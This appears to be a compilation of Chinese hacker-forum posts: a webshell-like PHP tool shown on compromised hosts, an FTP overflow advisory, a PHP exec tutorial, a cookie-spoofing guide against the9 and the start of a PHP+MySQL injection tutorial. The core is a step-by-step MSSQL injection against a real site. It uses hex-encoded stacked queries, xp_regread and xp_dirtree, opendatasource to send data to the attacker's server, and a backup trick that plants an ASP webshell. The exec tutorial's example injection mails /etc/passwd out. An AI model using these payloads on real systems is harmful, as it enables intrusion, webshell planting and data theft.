PHP写的类似与PHP木马一样的管理工具

作者:CFC4N 文章性质: 本站原创
写这个程序时`遇到很多困难` ` 宿舍没联网` 没办法查资料`
到学校的图书馆` 翻遍了`就两本PHP+MYSQL的书“
NND 学校真垃圾“ ASP JSP 的书N 多 为什么没PHP 的???
哎“
快考试了,有很多功能没有添加`宿舍也没联网`等下学期来在讲吧““`
编辑的保存功能还没有搞定`但是由于俺上一次网不容易,所以就提前发出来了!
也没什么意思`就是想激励自己吧 “
写的很垃圾` 大家别骂我哦!! 以下是截图

由于是在肉鸡上截图的` 所以 掩盖了 一些 肉鸡的信息` 大家见谅!!
源碼修改中““““`
1.編輯功能
2.Apache中出現錯誤
3.亂碼問題,支持UTF-8
4.美化精簡参了Angle的PHPSPY和top&rains的PHPTREE! 代表全国人民感谢他们!!
大家使用的时候,您的服务器支持PHP 才可以!! 如果提示下载那就说明您的服务器不支持PHP!

PHP生成静态页面的类

<?php

// --------------------------------------------------------------------------
// File name   : html.class.php
// Description : 生成静态页面的类
// Requirement : PHP5
//
// Copyright(C), 蟋蟀, 2005, All Rights Reserved.
//--------------------------------------------------------------------------

class myHtml{

//生成html文件路径
private $html_dir="./";
//html文件名称
private $html_name;
//生成html文件的位置名称
public  $path;
//缓存区内容
private $content;
//文件句柄
private $handle;
//内存指针
private $accesses;
         //构造函数
public function __construct($html_dir="",$html_name="")
{
   $this->accesses++;
  //如果文件路径不存在建立文件夹
  if(opendir($html_dir)==0)
         {
           mkdir($html_dir);
         }

  $this->html_dir=$html_dir!=""?$html_dir:"./";
  $this->html_name=$html_name!=""?$html_name:substr(basename(__FILE__),0,strrpos(basename(__FILE__),".")).".html";
  $this->path= ($this->html_dir{strlen($this->html_dir)-1}=="/")
     ?($this->html_dir.$this->html_name):($this->html_dir."/".$this->html_name);
  ob_start();

}
//析构函数
public function __destruct()
        {
         $this->accesses--;
          ob_end_clean();
        }
//生成html页面
function tohtml()
{
$this->content=ob_get_contents();
if (is_file ($this->path)){
  @unlink ($this->path);
}
$handle = fopen ($this->path,"w");
if (!is_writable ($this->path)){
  return false;
}
if (!fwrite ($handle,$this->content)){
  return false;
}
fclose ($handle); //关闭指针
return $this->path;
}
}
/*
$html=new myHtml("./","z.htm");
print "静态页面程序";
$html->tohtml();
*/
?>

Quick Easy FTP Server远程缓冲溢出漏洞

受影响版本:

Quick Easy FTP Server 3.91或以下版本
漏洞描述:

Quick Easy FTP Server 是一个FTP服务器端软件,基本实现了标准FTP服务器所具有的功能软件由服务器配置,用户帐户管理,安全性设置,在线用户信息, 服务器日志, 实时数据统计,检查更新几部分组成.因程序在处理超长命令参数时多个命令存在问题,远程攻击者可利用这些问题以程序运行权限执行任意指令。
厂商补丁:

官方并无任何补丁更新,请各位留意官方通告
Bug.Center.Team临时解决方案

暂时停止使用该服务程序,因程序自身存在过多问题。

SQL注入高级技巧

我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。
在某官网发现了一个注点,一个’号提示”xxxxxxxxxx’0”出现错误 ” ,经过初步的分析是把单引号,直接转换成了0′,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1=(select is_isvrolemember(‘sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。
  
 我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。
  
  首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。
  

建一个表xy,;create table xy(xy1 nvarchar(256) null),然后网表里插入其值,语句如下:
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’,@result output insert into xy (xy1) values(@result)

由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把 ‘HKEY_LOCAL_MACHINE’和’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’‘/’,这3个数据分别附于3个变量,这样语句构成为:

;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)–

没想到根本成功不了,我不清楚这个原因,然后去百度搜索原因,在邪恶八讨论区里看到无敌遇到的情况根我一样,至今还没有讨论出来结果,于是这种方法暂时先放一放,2天以后再得到了一种新方法,也是用declare于一个变量附值,不过这时附的不是某一数据,而是整句。

方法如下:

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’,@result output insert into xy (xy1) values(@result)

全转换为16进制为:

0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900

这时用

DECLARE @S NVARCHAR(4000);SET @S=cast(0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)

直接执行成功,呵呵,反正没有用到单引号,这种方法是现在所能想出来的了,也算一点点小小的突破吧。

  把上述语句直接在浏览器里提交,返回正常的页面,然后用and 1=(selet top 1 xy1 from xy)成功暴出了网站的目录为d:\wwwfuck\,哈哈,怀着侥幸的心理直接在此目录下差异备份数据库,失败!结论:1、语句没有错误 2、目录有问题。
  于是现在猜一把,就猜网站目录在D盘,那么唯一可行的办法就是一个一个暴目录啊~,郁闷,极其麻烦的事情又要来临了!
我比较懒,随后想到的就是sql里的opendatasource命令,我机器装有sql,IP为211.11.11.11,我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中,所以这样比较轻松,为了证明是否成功,我先建一个表为ku(id nvarchar(255)),然后远程提交的格式为:

insert into opendatasource(‘sqloledb’,'server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.ku select name from master.dbo.sysdatabases

其中test为我自己的库,ku为test库中的表名 如果成功的话,在本地打开ku表,上述语句就会列出远程服务器中所有的库的名称。
上面的语句有单引号,我们直接转换为16进制,转换后用如下语句提交即可:

;DECLARE @S NVARCHAR(4000);SET @S=cast(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S);

 
 直接打开本地数据库test中的ku表,嘿嘿,成功列出了远程所有数据库的名称。
  下面来返回服务器上D盘下的目录,嘿嘿,为了求速度,我只列一级目录。

  建一个表;create table temp(id nvarchar(255),num1 nvarchar(255))–成功
  往表里插入所有各级数目录(一级目录为D盘根目录,二级就是下一层,三级依次类推),语句:;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘D:\’,有单引号,上面的语句肯定不成功,肯定要用declare附值变量,好了,我直接写语句:

DECLARE @S NVARCHAR(4000);SET @S=cast(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);

那么现在temp表中,已经有了所有D盘的目录了,其中num1=1为一级目录,num1=2为二级..等等。
好了,我把temp表中一级目录返回到本地吧
本地建表mulu(name char(255)),远程语句:

insert into opendatasource(‘sqloledb’,'server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.mulu select id from temp where num1=1

转成16进制declare附变量提交,我日~~经过漫长由如死机的时间,失败了。。。弄不清楚原因,有知道的请联系我。

  既然懒的方法不行,算了,就勤快一些吧!郁闷!
  上述的temp远程表中还有目录名呢,太乱,在远程直接建个新表:;create talbe temp1(id nvarchar(4000))–
然后把temp表中一级目录名称插到这里来,语句:
;insert into temp1(id) select id from temp where num1=1–  
然后再暴: and 1=(select top 1 id from temp1 where id=1),提示:xxxxxxxxxxxx’MUbak’转换为int…..等出错等信息,我是不是很懒,连出错信息都不复制?明白就行了。
  暴下一个目录不可能用 and 1=(select top 1 id from temp1 where id not in(‘MUbak’))吧?因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀,不要弄错!

  抽了一根烟,想了想,还有一个办法,再把temp1的目录一层一层地扒下来,把他们传递给temp2表,呵呵,肯定要先建表了;create table temp2(id char(255))–。
  先想明白语句,我把temp1的id下所有的名称,给于temp2,而且不包括’MUbak’目录,那么语句应该是:
insert into temp2(id) select id from temp1 where id not in(‘MUbak’)
呵呵,有单引号,declare!!!,上面语句转16进制。
语句为:

DECLARE @S NVARCHAR(4000);SET @S=cast(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);

 
 这时,我在temp2暴表:and 1=(select top 1 id from temp2),提示xxxxxxxxxxxx’wwwbak’转换为int…..等出错等信息。。呵呵,又一个目录出来了。
  然后删表temp2表,建temp3表,用上面的访法循环暴出下一个目录。
  可能有人问,为什么要建temp3表,直接删掉temp2,然后再建temp2再用呀,不过经验认为,这里最好新建一个,本人认为是缓存的原因,否则一直用老表,暴错的信息为同一个。。。。

  好了,经过漫长的时间,终于找出了网站的目录为D:\web\www\,下来备份呗。

;create table riri(ri char(255))–
;insert into riri(ri) values(0x3C25657865637574652872657175657374282261222929253E)– ’0x3C25657865637574652872657175657374282261222929253E”为<%execute request("a")%>
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT ’0x443a5c7765625c7777775c312e617370为D:\web\www\1.asp

这时成功得在网站目录备分了一个1.asp,访问www.xxx.com/1.asp 出现’execute’错误,呵呵,一个webshell到手了。看得很麻烦吧,如果有人做出工具来了就简单多了,否则累死你~~ 哈哈,闪先~~

文章作者:nowthk

高手的那份淡然!

自己都觉得这里的水平底的一塌糊涂,当然也包括我自己了,所以我经常也要跑到whnet去问问题,有时候都恨自己怎么这么菜啊

scz(四哥)说:BBS是不能真正学到东西的,不过这里能开阔人的视野,能得到对大方向的指引,能够了

是的,真的是足够了,要不是scz的指引,我不会走这条路的,当时在gznet的BBS上,我也问了好多关于unix network programming的问题,得到好多人的帮助。后来转而学习linux kernel,来到了whnet,主要就是得到scz的帮助,我很感谢他。我想他在教育网内是很成功的,可能带起了一群人。

[color=Blue]自己的成长其实就是生产问题,解决问题的过程。
问题就是在自己不断的学习中产生的,你学习了吗?你努力了吗?你有问题要问吗?
自己付出了多少,就会有多大的收获,这点我有很大很大的体会。[/color]

转了这么多的技术文章,不是为了增加版面,增加人气,完全是给有心人看的,自己要想学,想看才能学进去,看进去。希望他们能在这里得到进阶。

转了这么多的技术文章,只是希望川大的“黑客”(暂且以黑客称之)不要误入
歧途,不要只做被人们称为的脚本小子,要做就做一个白帽(white-hat).
没人敢说自己是黑客,除非他自己知道他在说什么。所以我也没有用黑客这个词.

我做这里的斑竹的目的不是来一个人撑起一个版的,只是为了上面的几点。
今天又去了linuxforum,颇有感触,如果你也在linux kernel hack(也许你会对hack
这词误会),如果你看过linux的源代码就不会觉得奇怪了)话,
去http://www.linuxforum.net/cgi-bin/perl/postlist.pl?Cat=&Board=linuxK
感受感受真正做学问的气氛吧。

有必要大家来重温一下四哥那篇《你尽力了吗》。
看看真正高手的那份淡然吧

发信人: cloudsky (小四), 信区: Security
标 题: 你尽力了吗
发信站: 武汉白云黄鹤站 (Mon Apr 17 19:52:54 2000), 站内信件

很多人问如何入门如何入门,我却不知道要问的是入什么门。很少把某些好文章耐心从头看完,我这次就深有体会。比如袁哥的sniffer原理,一直以为自己对sniffer原理很清楚的,所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论,如何通过端口读写直接获取mac地址,为什么antisniff可以获得真正的mac地址,而不受更改mac地址技术的影响,如何在linux下获得真正的mac地址。我一直对linux下的端口读写心存疑虑,总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一句,你仔细看我写的文章没有,我楞,最近因为要印刷月刊,我整理以前的很多文档, 被迫认真过滤它们,才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲区溢出的,尤其是上面的关于Solaris可装载内核模块,那就更觉得惭愧了。

以前说书非借不能读,现在是文章留在硬盘上却不读。其实本版已经很多经典文章了,也推荐了不少经典书籍了,有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过加了不少旁注,APUE就没有那么认真了,而卷II的一半认真看过,写过读书笔记,卷III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍,卷II就只断续看过。而很多技术文章,如果搞到手了就懒得再看,却不知道这浪费了多少资源,忽略了多少资源。BBS是真正能学到东西的地方吗?rain说不是的,我说也不是的。不过这里能开阔人的视野,能得到对大方向的指引,足够了我一直都希望大家从这里学到的不是技术本身,而是学习方法和一种不再狂热的淡然。很多技术,明天就会过时,如果你掌握的是学习方法,那你还有下一个机会,如果你掌握的仅仅是这个技术本身,你就没有机会了。其实我对系统安全是真不懂,因为我一直都喜欢看程序写程序却不喜欢也没有能力攻击谁谁的主机/站点。我所能在这里做的是,为大家提供一个方向,一种让你的狂热归于淡然的说教。如果你连、< win9x系统编程>都没有看过,却要写个什么隐藏自己的木马,搞笑。如果你看都不看汇编语言,偏要问exploit code的原理,那我无法回答也不想回答你。总有人责问,要讨个说法纭纭,说什么提问却没有回答。不回答已经是正确的处理方式了,至少没有回你一句,看书去,对不对,至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了, 想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了,你想把Win编程想象得稍微困难点都找不到理由。还是那句话,一个程序员做到W.Richard.Stevens那个份上,做到逝世后还能叫全世界的顶级hacker们专门著文怀念,但生前却不曾著文攻击,想想看,那是一种什么样的境界,那是一份什么样的淡然。我们可以大肆讨论技术问题,可以就技术问题进行激烈的卓有成效的讨论,却无意进行基础知识、资源信息的版面重复。我刚在前面贴了一堆isbase的文章,开头就是主页标识,却在后面立刻问什么主页在哪里?前面刚刚讨论过如何修改mac地址,后面马上又来一个,前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。很多东西都是可以举一反三的。vertex的lids,被packetstorm天天追踪更新,你要是看了THC的那三篇,觉得理解一个就理解了一堆,都是内核模块上的手脚。
[color=Blue]你不看你怎么知道。
我不想在这里陷入具体技术问题的讨论中去,你要是觉得该做点什么了,就自己去看自己去找。
没有什么人摆什么架子,也没有什么人生来就是干这个的。
你自己问自己,尽力了吗?
[/color]

在PHP中执行系统外部命令

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

是否可以?

答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

前提条件

由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令

在打开文件时有些限制

连接MySQL数据库

基于HTTP的认证

在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是/usr/local/php/bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

exec()

原型:string exec (string command [, string array [, int return_var]])

exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

<?

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

#$res是一个数据,每个元素代表结果的一行

exec("/bin/ls -l", $res, $rc);

#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

<?

header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

例子1:

<?

$fp=popen("/bin/ls -l", "r");

?>

例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

<?

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

<?php

$res=`/bin/ls -l`;

echo '<b><pre>'.$res.'</pre></b>';

?>

这个脚本的输出就象:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考虑些什么?
要考虑两个问题:安全性和超时。

先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

<?php

system("mail $to < products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

‘–bla ; mail someone@domain.com < /etc/passwd ;’

那么这条命令最终变成:

‘mail –bla ; mail someone@domain.com < /etc/passwd ; < products.txt’

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()EscapeShellArg()
函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>

The Principle Of Cookies Spoof

现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。

COOKIE欺骗原理
按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通讯协议无影响,所以要进行cookie欺骗可以有多种途径:
1、跳过浏览器,直接对通讯数据改写
2、修改浏览器,让浏览器从本地可以读写任意域名cookie
3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)
4、欺骗浏览器,让浏览器获得假的域名
其中:
方法1、2需要较专业的编程知识,对普通用户不太合适。
方法3的实现有2种方法:
1、直接使用签名脚本,不需要签名验证,但是产生很严重的安全问题,因为大家都要上网的,如果这样做你的硬盘文件就……
2、对脚本进行签名后再使用签名脚本,但是需要专用的数字签名工具,对普通用户也不合适。
方法4看样子应该是最合适的了,域名欺骗很简单,也不需要什么工具(当然如果你的机器装有web服务器那更好了),下面我以the9为例,以这种方法为基础,阐述一下cookie欺骗的过程(下文中提到的任何服务端的bug,the9都已经做了改进,所以本文对the9无安全方面的影响):

注:我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie,就是那种只在浏览器生存周期内(会话)产生的cookie,如果浏览器关闭(会话结束)那么这个cookie就被删了! 

COOKIE欺骗实战
the9在登陆的时候会返回3个cookie(这可把浏览器的警告cookie选项打开时看到):
cgl_random(随即序列号):登陆识别的记号
cgl_loginname(登陆名):身份的识别记号
cgl_areaid(小区号):你居住的小区号码
只要把cgl_loginname填入正确的登陆名,再对cgl_random进行修改,就可以达到欺骗服务程序的目的。

一般欺骗php程序的字符串为:
1''or''1''=''1
把这个填入cgl_random,服务程序就被欺骗了!
因为服务程序不太可能对cookie进行语法检查(the9现在改进了),那么把这个字符串填入,就可以成功的欺骗对方程序,而达到突破的目的了!

现在的问题是,如何使浏览器把这个我改过的cookie返回给the9?
看一看the9的域名吧:http://www.the9.com/  ,而浏览器的cookie警告已经告诉了我们这3个cookie会返回给有.the9.com这个域名的服务器,哎?我的机器上正好有web服务器,那么动手吧!
先编一个设置cookie的html,就叫cookie.htm吧,然后把这个cookie放进web目录,这样还不行,因为我的机器的域名没设,那么设置host的名字,可是如果在网络设置中进行设置的话,机器要重启动的,还是想想别的简单的办法吧!
然后我们应该编辑hosts文件,这个文件应该在windows目录下,你有可能找不到它,但是如果你找到了hosts.sam文件,那么把它后面的扩展名去掉,就是我们要的文件了!
编辑hosts文件,填入以下一行:
127.0.0.1 www0.the9.com
解释一下,127.0.0.1是本机的lo地址,可以用做web地址,而www0.the9.com就是我们欺骗产生的域名。
然后在浏览器中输入http://www0.the9.com/cookie.htm  ,看,页面出来了,快设置cookie吧!
直接访问http;//www.the9.com/main.htm  看看,不错吧!

但是不是所有的网友都有自己的web服务器啊!那怎么办呢?
其实如果你有个人主页的话,也可以达到cookie欺骗的目的,比如某个个人主页的服务器的ip地址是1.2.3.4,先上传cookie.htm文件,再编辑hosts文件:
1.2.3.4 www0.the9.com
然后访问http://www0.the9.com/***/cookie.htm  ,其中***是你个人主页的地址目录。

对了我作了个工具在我的主页上,现在公开一下,http://home.etang.com/fsl/9the/  ,大家知道该怎么做了吧?嘿嘿,不过你那样设置是没有用的,要这样编辑hosts:
etang的ip www.the9.com
the9的ip www0.the9.com
为什么要这样呢?我等会会告诉大家的

继续the9的cookie讨论,还有2个cookie:
cgl_mainshowinfo(个人信息)
cgl_showinfo_changed(意义不知)
由于第二个cookie不知道是什么,所以就讨论第一个。
第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌号等的信息(目前只知道这些,其余的信息不知其意义,具体格式就让给大家去分析了),但是中文都escape过了,如果你用的不是netscpae而是ie的话,不能用unescape得知其信息,因为ie对双字节采用unicode而不采用ascii,如果哪天the9也支持unicode就好了!:),但是其他网站站长注意了,你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享!哈哈……,如果你们真要这么做,就只有使用签名脚本了,总不能让别人编辑hosts吧(不过得注意版权哦!)? 阿

ie的cookie漏洞:
如果你用的是ie的话,由于ie本身的漏洞,你大可不必编辑hosts,就可以同样做到读写别的域名的cookie,你可以使用以下的方法欺骗ie(具体的可以去  www.cookiecentral.com  看看):
假设你的主页文件为http://a.com/cookie.htm  ,
使用以下url: http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com
如果直接输在浏览器地址栏里不行,就作个script,把location的值设为这个就可以了!
这个地址转换后应该是这样的: http://a.com/cookie.htm?.the9.com
由于ie的bug,误把前面那个的域名以为是.the9.com  了!

hosts文件解释
hosts文件实际上可以看成一个本机的dns系统,它可以负责把域名解释成ip地址,它的优先权比dns服务器要高,它的具体实现是TCP/IP协议中的一部分。
如果有这么一行:
202.109.110.3 www.the9.com
那么在输入www.the9.com时,网络协议会首先检查hosts文件找到匹配的,如果找不到再去dns查,这样你访问www.the9.com实际上是访问202.109.110.3,而不是通常的202.109.110.2。
注:由于缓存的作用,如果开着浏览器编辑hosts的话,hosts里的内容有可能不会当场生效,你可以重新启动浏览器或等一会时间再试一下!

关于REFERER的欺骗(这个虽然不属于cookie欺骗,但是懒得再写一篇,就归在一起了)
referer是http头,它的作用是签定用户是从何处引用连接的,在the9,服务程序就充分利用了这一点,如过你是手动输入url的话,那么referer不会设任何值,服务程序就返回什么“投机取巧”的字样!
由于我们前面对浏览器进行了域名欺骗,那么referer也被欺骗了,但是服务程序对referer是整个主机名检查,所以www0.the9.com的域名就欺骗不了服务器,所以得用www.the9.com欺骗,那么还得设一个域名方便我们访问the9,而且还得让cookie返回给这个真的the9,那么就用www0.the9.com吧!(这回知道前面访问我主页工具时要那样编辑hosts了吧?)
如果你用了这个方法的话,那么你就不能直接点击the9的连接,而得用工具中的地址欺骗来进行访问,至于这样做的好处,大家自己找找吧,我就不想详细说了,太累了!

关于netvampire:
这个下载工具大家都知道吧?那么它的3.3版大家用过吗?很棒的!因为它可以直接让大家改变下载连接的referer,而且它还能继承浏览器的cookie,把cookie返回给服务端(不过cookie不能改,如果能改的话,这个工具就太………………)

后记
好了关于cookie及referer就说到这了,在这个星期以前利用cookie欺骗的话the9的门户可是大开的(当然似乎还有通用密码什么的),不过the9虽然改进了,我不能保证其他社区网也改进了,当然本文只是探讨技术,不负什么法律责任。

Php+Mysql注入专题

Php注入攻击是现今最流行的攻击方式,依靠它强大的灵活性吸引了广大黑迷。
在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞,也讲到了php+mysql注入的问题,可是讲的注入的问题比较少,让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php+mysql注入,一定让你满载而归哦!

本文主要是为小菜们服务的,如果你已经是一只老鸟呢,可能某些东西会感觉比较乏味,但只要你仔细的看,你会发现很多有趣的东西哦。

阅读此文你只要明白下面的这点东西就够了。

1.明白php+mysql环境是如何搭建的,在光盘中我们收录搭建的相关文章,如果您对搭建php+mysql环境不是很清楚,请先查阅此文,在上一期的专题中也有所介绍。
2.大概了解php和apache的配置,主要用到php.ini和httpd.conf
而此文我们主要用到的是php.ini的配置。为了安全起见我们一般都打开php.ini里的安全模式,即让safe_mode = On,还有一个就是返回php执行错误的display_errors 这会返回很多有用的信息,所以我们应该关闭之,
即让display_errors=off 关闭错误显示后,php函数执行错误的信息将不会再显示给用户。
在php的配置文件php.ini中还有一个非常重要的配置选项magic_quotes_gpc,高版本的默认都是magic_quotes_gpc=On,只有在原来的古董级的php中的
默认配置是magic_quotes_gpc=Off,可是古董的东西也有人用的哦!
当php.ini中magic_quotes_gpc=On的时候会有什么情况发生哩,不用惊慌,天是塌不下来的啦!它只是把提交的变量中所有的 ' (单引号), “ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符,例如把'变成了\',把\变成了\\。
就是这一点,让我们很不爽哦,很多时候我们对字符型的就只好说BYEBYE了,
但是不用气馁,我们还是会有好方法来对付它的,往下看咯!
3.有一定的php语言基础和了解一些sql语句,这些都很简单,我们用到的东西很少,所以充电还来的及哦!

我们先来看看magic_quotes_gpc=Off的时候我们能干些啥,然后我们再想办法搞一搞magic_quotes_gpc=On的情况哈

一:magic_quotes_gpc=Off时的注入攻击
